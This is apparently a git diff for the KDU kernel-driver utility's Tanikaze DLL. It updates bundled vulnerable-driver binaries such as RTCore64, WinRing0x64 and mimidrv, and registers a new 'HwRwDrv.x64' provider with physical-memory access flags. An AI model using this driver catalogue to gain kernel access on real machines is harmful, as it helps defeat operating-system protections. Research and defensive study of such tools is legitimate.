75264f7eb261d9b267b81f0bf0f01cbf43f4aea8..3d1926a7dce6ca391469aeb4231a3820a6bbe812 100644 GIT binary patch delta 19 bcmbR2IN6bFL&FC1`|0%_7w&K5>Qn##SV#!! delta 19 bcmbR2IN6bFL&FAh|0|t^lOJy6>Qn##R)`3{ diff --git a/Source/Tanikaze/drv/KRegExp.bin b/Source/Tanikaze/drv/KRegExp.bin index 7b90dcc8bcca5bb712c15f1b48ca0f78b2a7dfd4..2314d8b6ac3ff9d8d0eb2fb3b52f97eeec25064e 100644 GIT binary patch delta 19 bcmeyD@-KyJL&FC1`(m{o7w&K5Dlq~8X!!}S delta 19 bcmeyD@-KyJL&FC1c){Mn$qzSjl^6j4WCsZ; diff --git a/Source/Tanikaze/drv/LDD.bin b/Source/Tanikaze/drv/LDD.bin index c278d7839e9559c7cbb2cfc8f847eec95dc7c25d..64b04529a3e88bf91d4e98c38e14b0d9b3dccfa6 100644 GIT binary patch delta 21 dcmaE`it)iJMy?GF8_fT&y;S*a5)O_ delta 19 bcmey8`z4oaL&FC1_!nh`lOJy6dSwOxYnTdQ diff --git a/Source/Tanikaze/drv/PdFwKrnl.bin b/Source/Tanikaze/drv/PdFwKrnl.bin index fa81903b03a3d7f7559130a757162d020c4ac21c..98c5a0df27e995e4bbe58ae494cc69c28e4e8091 100644 GIT binary patch delta 21 dcmbQ%#yG8wk!wT42J`tRvOF%_-^j(|3;<-o2`&Ht delta 21 dcmbQ%#yG8wk!wT426Opd1F5KV9Wg-s%U5E(p delta 19 bcmdmIx6h7iL&FAheVc!UlOJy6GLZ)WSd$2L diff --git a/Source/Tanikaze/drv/Phymemx64.bin b/Source/Tanikaze/drv/Phymemx64.bin index 48f5ec473dc3d4b63534ee2e07189632585e7d94..f4c4d8d085502275963b07a5e11d6f5e6716570e 100644 GIT binary patch delta 19 bcmdm-vpI)rL&FC1^Q`wgFWleArD+BLV8IC_ delta 19 bcmdm-vpI)rL&FC1_{!qK$qzSjX_^55T+s-s diff --git a/Source/Tanikaze/drv/RTCore64.bin b/Source/Tanikaze/drv/RTCore64.bin index 3ec7a624c958d01f31a55a81821325fbdcd75dd0..9d0d4714ad7d822b4e98ebedf279e3abf87c89cc 100644 GIT binary patch delta 19 bcmdmLz15m)L&FC1^>)`iFWleAwOSScTl)z? delta 19 bcmdmLz15m)L&FAh`@>mp2MOp#?VGIc5 delta 19 bcmaD{^tgy?L&FC1`?-4yCqLZC6=?|oYorPX diff --git a/Source/Tanikaze/drv/WinRing0x64.bin b/Source/Tanikaze/drv/WinRing0x64.bin index e8d9ae078659e646a18f5eeec1a4f5d2774fb006..bb053f3fc52be2acc81e84f63ff6190e39303ee3 100644 GIT binary patch delta 19 bcmdmLx7ChoL&FC1`9WtqFWleAr7aHtTOSC* delta 19 bcmdmLx7ChoL&FAheetBi$qzSjY0CouQ4j~3 diff --git a/Source/Tanikaze/drv/amsdk.bin b/Source/Tanikaze/drv/amsdk.bin index 88ec3143c123cf27e592546ac9e0ba1cef023c0b..c38aafaf18ac9061beb4e4d15d19bad5b33e1bc2 100644 GIT binary patch delta 24 gcmex)oAu{yR;~>V8_fMz>U&(c-^jIV8_e(j+Fv;NVI$X8F2?t{0IbLi_y7O^ diff --git a/Source/Tanikaze/drv/asio2.bin b/Source/Tanikaze/drv/asio2.bin index b1c440dbb77357c7e8e2612bfd187d2f16a8068b..2faced374be2d35c2d2e7108df2e6706c7ab4429 100644 GIT binary patch delta 21 dcmaDgjq%kqMy?GF8_ea`|M9$Veq+C<(6GV0e%B$-3->p2F&P5@T!jef delta 19 acmeB4>q+C<(6GUrzdoRF^23c>OvV6GHV3%? diff --git a/Source/Tanikaze/drv/echo_driver.bin b/Source/Tanikaze/drv/echo_driver.bin index bedec709ed48e60fe5e8e5b96ed3c08f293f96a5..db5482d0f8ab21e00102b79503ffbfac930844dd 100644 GIT binary patch delta 19 bcmeB9=uY6;(6GV${+CLR3->p2F&Y2>UkeE* delta 19 acmeB9=uY6;(6GTgzNV{i^23c>j0ON!76>i? diff --git a/Source/Tanikaze/drv/eleetx1.bin b/Source/Tanikaze/drv/eleetx1.bin index 1cd7075d3893da6382583b7889303e12aac10b38..0f656d6adbbda3b68506bb0e184c1b0d1d329117 100644 GIT binary patch delta 21 dcmeBO%GkS9QWX1_; delta 19 bcmaFl_sEZHL&FC1dXXuGlOJy6ickjtUV8}0 diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index 8b0596b2209160e954a5b66eb65a5079b53b0467..0c5e916abb58775e67314f5f7287f8c00dd20870 100644 GIT binary patch delta 21 dcmcc9!g!~Jk!wT42J`y~PdqQ&-^dl@1ORed3Qhn3 delta 21 dcmcc9!g!~Jk!wT42J?K?s=~<+H*y6z0RU)B2_^sl diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index 6a2c6152a8e508f3744d5ea72aec6203688c7b4e..b81f90bcc1b6575e1f00c9654259c5b748be3bae 100644 GIT binary patch delta 19 bcmaE6^~{QEL&FAhd3QOF3->p2#mE8xR{;nS delta 19 bcmaE6^~{QEL&FC1^)uELPJXzND@GOoW3>rz diff --git a/Source/Tanikaze/drv/irec.bin b/Source/Tanikaze/drv/irec.bin index 5b079153a20ebdb8efc3ff4cf3c410834375e92a..be6d3eea30a36beaf572656c8ae70995af4b9b3c 100644 GIT binary patch delta 21 dcmZ2>lxf*fCaw()8_f47lz3dYzmaRsA^>mJ3V#3q delta 21 dcmZ2>lxf*fCaw()8_exrv=vT%xRGnlA^>mc3Wopy diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index e3864952830c2de461fa7eee2ceab641b64b4be5..96c329a3e7f1b2010ec8834c9756b742fc1b1783 100644 GIT binary patch delta 21 dcmcaNh4J1LMy?GF8_er<4|ra>a delta 21 dcmcaNh4J1LMy?GF8_fCNg%?hKxREQw3jl2|37P-^ diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 133a816056ef168b5f4cd193c0bd22510df31fe0..50155ea1eed7d4154dbc63505b54eb83dac946c0 100644 GIT binary patch delta 19 bcmdm#uqlCSL&FC1^XiX1FWleArC|U7U{?t$ delta 19 bcmdm#uqlCSL&FC1{7of=lOJy6(l7u3UA73* diff --git a/Source/Tanikaze/drv/mimidrv.bin b/Source/Tanikaze/drv/mimidrv.bin index 65ee7519b7fa2bb5e5bc552ddd42c2e6fb75d976..2c7744431db99e70e91caf9cf61c23db8545711e 100644 GIT binary patch delta 19 bcmaD>^{k3(L&FC1{_n>^{k3(L&FAh`5mE!lOJy6im?R%Weo{O diff --git a/Source/Tanikaze/drv/nvoclock.bin b/Source/Tanikaze/drv/nvoclock.bin index b334393cd04423cfb6d22ef56ddf68a10e7e098b..67eef79f30d9ade12616d2877fee8c28b572c047 100644 GIT binary patch delta 21 dcmZ3`$GD)6k!wT42J`*GRUQ}aZ{!kl2LNK~2-^Sv delta 21 dcmZ3`$GD)6k!wT426O*SErpXGZsZbk2LNO&2?78B diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index cc288d84415f19d4bf47a4c606b78050f087332f..deda77f6a06998f364a054b884c9512de93d99bd 100644 GIT binary patch delta 19 bcmdm#xha!tL&FC1_odt(7w&K5T44eJU&IMj delta 19 bcmdm#xha!tL&FC1`u5p{lOJy6T44eJU_l9W diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index 2943d3a720931e350ce158ea41483b5f9cc9636f..71ce072c397230e3ca7b474b1bbab6b0fca2c3bb 100644 GIT binary patch delta 19 bcmcbZbuo);L&FAh{z@T_3->p2xtjt2TO9~s delta 19 bcmcbZbuo);L&FC1{^CW2lOJy6ayJD4WFiSz diff --git a/Source/Tanikaze/drv/pmxdrv64.bin b/Source/Tanikaze/drv/pmxdrv64.bin index c5e4ba2194f33870248dd95e8e636e9dd2e1c684..6dab1fb8c2f3ae2fb4d5a353c7f7dc8cd0c180e2 100644 GIT binary patch delta 21 dcmeC&&Dgn{k!wT42J`q`K^_s5ddkp377x? diff --git a/Source/Tanikaze/drv/rzpnk.bin b/Source/Tanikaze/drv/rzpnk.bin index a63bfb8b01ad513801086b9a54baffb24fe90ba7..39aeac87a99c5a7388d199146761df67e569e76f 100644 GIT binary patch delta 21 dcmZ2IgK6~)Caw()8_d_U=6PJWzmZF^2LNRW2`vBs delta 21 dcmZ2IgK6~)Caw()8_e~4e-uuBxRFb-2LNc?39SGC diff --git a/Source/Tanikaze/drv/wnBios64.bin b/Source/Tanikaze/drv/wnBios64.bin index b9ee0e0ababccc9baa1e0da1dcd8ad04d479372c..5bc3f1ba56fd76365976f0a01b93ec4d58b63526 100644 GIT binary patch delta 19 bcmdm$vMYsaL&FC1{{BRd3->p285jWoUm^(c delta 19 bcmdm$vMYsaL&FAhdA(1ClOJy6GB5%FTbu}= diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index 0d2bcef..0d79700 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -54,6 +54,7 @@ #define IDR_ASROCKDRV3 152 #define IDR_ASROCKDRV4 153 #define IDR_PMXDRV64 154 +#define IDR_HWRWDRVX64 155 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -66,7 +67,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 155 +#define _APS_NEXT_RESOURCE_VALUE 156 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 13878f4..807137b 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -168,6 +168,8 @@ IDR_ASROCKDRV4 RCDATA "drv\\AsrDrv107.bin" IDR_PMXDRV64 RCDATA "drv\\pmxdrv64.bin" +IDR_HWRWDRVX64 RCDATA "drv\\HwRwDrv.x64.bin" + ///////////////////////////////////////////////////////////////////////////// // @@ -175,8 +177,8 @@ IDR_PMXDRV64 RCDATA "drv\\pmxdrv64.bin" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,2,1,2404 - PRODUCTVERSION 1,2,1,2404 + FILEVERSION 1,2,2,2411 + PRODUCTVERSION 1,2,2,2411 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -193,12 +195,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility Database" - VALUE "FileVersion", "1.2.1.2404" + VALUE "FileVersion", "1.2.2.2411" VALUE "InternalName", "Tanikaze.dll" VALUE "LegalCopyright", "Copyright (C) 2020 - 2024 KDU Project" VALUE "OriginalFilename", "Tanikaze.dll" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.2.1.2404" + VALUE "ProductVersion", "1.2.2.2411" END END BLOCK "VarFileInfo" diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index 2b5785e..f1407ae 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.21 +* VERSION: 1.22 * -* DATE: 01 Apr 2024 +* DATE: 10 Nov 2024 * * Tanikaze helper dll (part of KDU project). * @@ -818,6 +818,21 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"PMxDrv", (LPWSTR)L"Pmxdrv", (LPWSTR)L"Intel(R) Embedded Subsystems and IP Blocks Group" + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_HWRWDRVX64, + KDU_PROVIDER_HWRWDRVX64, + KDU_VICTIM_DEFAULT, + SourceBaseWinRing0, + KDUPROV_FLAGS_PHYSICAL_BRUTE_FORCE, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"Hardware read & write driver", + (LPWSTR)L"HwRwDrv.x64", + (LPWSTR)L"HwRwDrv", + (LPWSTR)L"Open Source Developer, Jun Liu" } }; @@ -840,4 +855,4 @@ extern "C" { #ifdef __cplusplus } -#endif \ No newline at end of file +#endif